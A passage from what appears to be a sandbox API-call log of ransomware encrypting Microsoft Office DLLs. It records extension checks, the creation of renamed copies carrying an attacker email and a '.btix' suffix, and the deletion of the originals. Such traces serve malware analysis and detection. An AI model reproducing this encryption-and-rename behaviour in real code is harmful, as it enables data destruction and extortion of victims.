"c:\\program files\\microsoft office\\root\\client\\c2r64.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.280] lstrlenW (lpString=".doc") returned 4 [0157.280] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.280] lstrlenW (lpString=".docx") returned 5 [0157.280] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0157.280] lstrlenW (lpString=".pdf") returned 4 [0157.280] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.280] lstrlenW (lpString=".xls") returned 4 [0157.280] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.280] lstrlenW (lpString=".xlsx") returned 5 [0157.281] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0157.281] lstrlenW (lpString=".ppt") returned 4 [0157.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.281] lstrlenW (lpString=".zip") returned 4 [0157.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString=".rar") returned 4 [0157.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString=".bz2") returned 4 [0157.281] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.281] lstrlenW (lpString=".7z") returned 3 [0157.281] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.281] lstrlenW (lpString=".dbf") returned 4 [0157.281] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.281] lstrlenW (lpString=".1cd") returned 4 [0157.281] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.281] lstrlenW (lpString=".jpg") returned 4 [0157.281] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.281] lstrlenW (lpString=".doc") returned 4 [0157.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString=".docx") returned 5 [0157.281] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0157.281] lstrlenW (lpString=".pdf") returned 4 [0157.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString=".xls") returned 4 [0157.281] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.281] lstrlenW (lpString=".xlsx") returned 5 [0157.281] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0157.281] lstrlenW (lpString=".ppt") returned 4 [0157.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.282] lstrlenW (lpString=".zip") returned 4 [0157.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.282] lstrlenW (lpString=".rar") returned 4 [0157.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.282] lstrlenW (lpString=".bz2") returned 4 [0157.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.282] lstrlenW (lpString=".7z") returned 3 [0157.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.282] lstrlenW (lpString=".dbf") returned 4 [0157.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.282] lstrlenW (lpString=".1cd") returned 4 [0157.282] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll") returned 55 [0157.282] lstrlenW (lpString=".jpg") returned 4 [0157.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.282] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.282] lstrlenW (lpString="concrt140.dll") returned 13 [0157.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0157.283] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=332968) returned 1 [0157.283] CloseHandle (hObject=0x34c) returned 1 [0157.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0157.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0157.283] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.283] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0157.284] GetLastError () returned 0x0 [0157.284] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x514a8, lpOverlapped=0x0) returned 1 [0157.293] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x514b0, lpOverlapped=0x0) returned 1 [0157.298] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.298] WriteFile (in: hFile=0x390, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xee, lpOverlapped=0x0) returned 1 [0157.298] SetEndOfFile (hFile=0x390) returned 1 [0157.299] CloseHandle (hObject=0x390) returned 1 [0157.299] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.299] SetEndOfFile (hFile=0x34c) returned 1 [0157.302] CloseHandle (hObject=0x34c) returned 1 [0157.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 1 [0157.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.302] lstrlenW (lpString=".doc") returned 4 [0157.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.302] lstrlenW (lpString=".docx") returned 5 [0157.302] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.302] lstrlenW (lpString=".pdf") returned 4 [0157.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.302] lstrlenW (lpString=".xls") returned 4 [0157.302] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.302] lstrlenW (lpString=".xlsx") returned 5 [0157.302] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.302] lstrlenW (lpString=".ppt") returned 4 [0157.302] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.302] lstrlenW (lpString=".zip") returned 4 [0157.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.303] lstrlenW (lpString=".rar") returned 4 [0157.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.303] lstrlenW (lpString=".bz2") returned 4 [0157.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.303] lstrlenW (lpString=".7z") returned 3 [0157.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.303] lstrlenW (lpString=".dbf") returned 4 [0157.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.303] lstrlenW (lpString=".1cd") returned 4 [0157.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.303] lstrlenW (lpString=".jpg") returned 4 [0157.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.303] lstrlenW (lpString=".doc") returned 4 [0157.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.304] lstrlenW (lpString=".docx") returned 5 [0157.304] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.304] lstrlenW (lpString=".pdf") returned 4 [0157.304] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.304] lstrlenW (lpString=".xls") returned 4 [0157.304] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.304] lstrlenW (lpString=".xlsx") returned 5 [0157.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.304] lstrlenW (lpString=".ppt") returned 4 [0157.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.304] lstrlenW (lpString=".zip") returned 4 [0157.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.304] lstrlenW (lpString=".rar") returned 4 [0157.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.304] lstrlenW (lpString=".bz2") returned 4 [0157.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.304] lstrlenW (lpString=".7z") returned 3 [0157.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.304] lstrlenW (lpString=".dbf") returned 4 [0157.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.304] lstrlenW (lpString=".1cd") returned 4 [0157.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 59 [0157.304] lstrlenW (lpString=".jpg") returned 4 [0157.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.304] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.304] lstrlenW (lpString="mfc140u.dll") returned 11 [0157.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0157.305] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=5653664) returned 1 [0157.305] CloseHandle (hObject=0x34c) returned 1 [0157.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0x220 [0157.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0157.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0157.306] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0x0) returned 1 [0157.307] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0157.307] ReadFile (in: hFile=0x34c, lpBuffer=0x3e35058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e35058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0157.452] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1cc18a, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0157.452] ReadFile (in: hFile=0x34c, lpBuffer=0x3e75058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3e75058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0157.462] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0157.463] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x5244a0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc24 | out: lpNewFilePointer=0x0) returned 1 [0157.463] ReadFile (in: hFile=0x34c, lpBuffer=0x3eb5058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3eb5058*, lpNumberOfBytesRead=0x33dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0157.479] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.479] WriteFile (in: hFile=0x34c, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0157.983] SetEndOfFile (hFile=0x34c) returned 1 [0158.073] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40000) returned 0x41d2970 [0158.076] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0158.076] WriteFile (in: hFile=0x34c, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0158.077] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1cc18a, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0158.077] WriteFile (in: hFile=0x34c, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0158.088] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x5244a0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfc74 | out: lpNewFilePointer=0x0) returned 1 [0158.089] WriteFile (in: hFile=0x34c, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33dfc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x33dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0158.094] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0158.095] CloseHandle (hObject=0x34c) returned 1 [0158.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.342] lstrlenW (lpString=".doc") returned 4 [0158.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.348] lstrlenW (lpString=".docx") returned 5 [0158.348] lstrcmpiW (lpString1=".docx", lpString2="u.dll") returned -1 [0158.348] lstrlenW (lpString=".pdf") returned 4 [0158.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString=".xls") returned 4 [0158.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString=".xlsx") returned 5 [0158.363] lstrcmpiW (lpString1=".xlsx", lpString2="u.dll") returned -1 [0158.363] lstrlenW (lpString=".ppt") returned 4 [0158.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.363] lstrlenW (lpString=".zip") returned 4 [0158.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString=".rar") returned 4 [0158.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString=".bz2") returned 4 [0158.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.363] lstrlenW (lpString=".7z") returned 3 [0158.363] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.363] lstrlenW (lpString=".dbf") returned 4 [0158.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.363] lstrlenW (lpString=".1cd") returned 4 [0158.363] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.363] lstrlenW (lpString=".jpg") returned 4 [0158.363] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.363] lstrlenW (lpString=".doc") returned 4 [0158.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString=".docx") returned 5 [0158.363] lstrcmpiW (lpString1=".docx", lpString2="u.dll") returned -1 [0158.363] lstrlenW (lpString=".pdf") returned 4 [0158.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.363] lstrlenW (lpString=".xls") returned 4 [0158.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.364] lstrlenW (lpString=".xlsx") returned 5 [0158.364] lstrcmpiW (lpString1=".xlsx", lpString2="u.dll") returned -1 [0158.364] lstrlenW (lpString=".ppt") returned 4 [0158.364] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.364] lstrlenW (lpString=".zip") returned 4 [0158.364] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.364] lstrlenW (lpString=".rar") returned 4 [0158.364] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.364] lstrlenW (lpString=".bz2") returned 4 [0158.364] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.364] lstrlenW (lpString=".7z") returned 3 [0158.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.364] lstrlenW (lpString=".dbf") returned 4 [0158.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.364] lstrlenW (lpString=".1cd") returned 4 [0158.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll") returned 57 [0158.364] lstrlenW (lpString=".jpg") returned 4 [0158.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.364] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0158.364] lstrlenW (lpString="vccorlib140.dll") returned 15 [0158.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.365] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=390320) returned 1 [0158.365] CloseHandle (hObject=0x364) returned 1 [0158.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 0x220 [0158.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.369] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.369] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.369] GetLastError () returned 0x0 [0158.369] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0158.380] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0158.385] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.385] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0158.385] SetEndOfFile (hFile=0x358) returned 1 [0158.385] CloseHandle (hObject=0x358) returned 1 [0158.385] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.385] SetEndOfFile (hFile=0x364) returned 1 [0158.388] CloseHandle (hObject=0x364) returned 1 [0158.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 1 [0158.389] 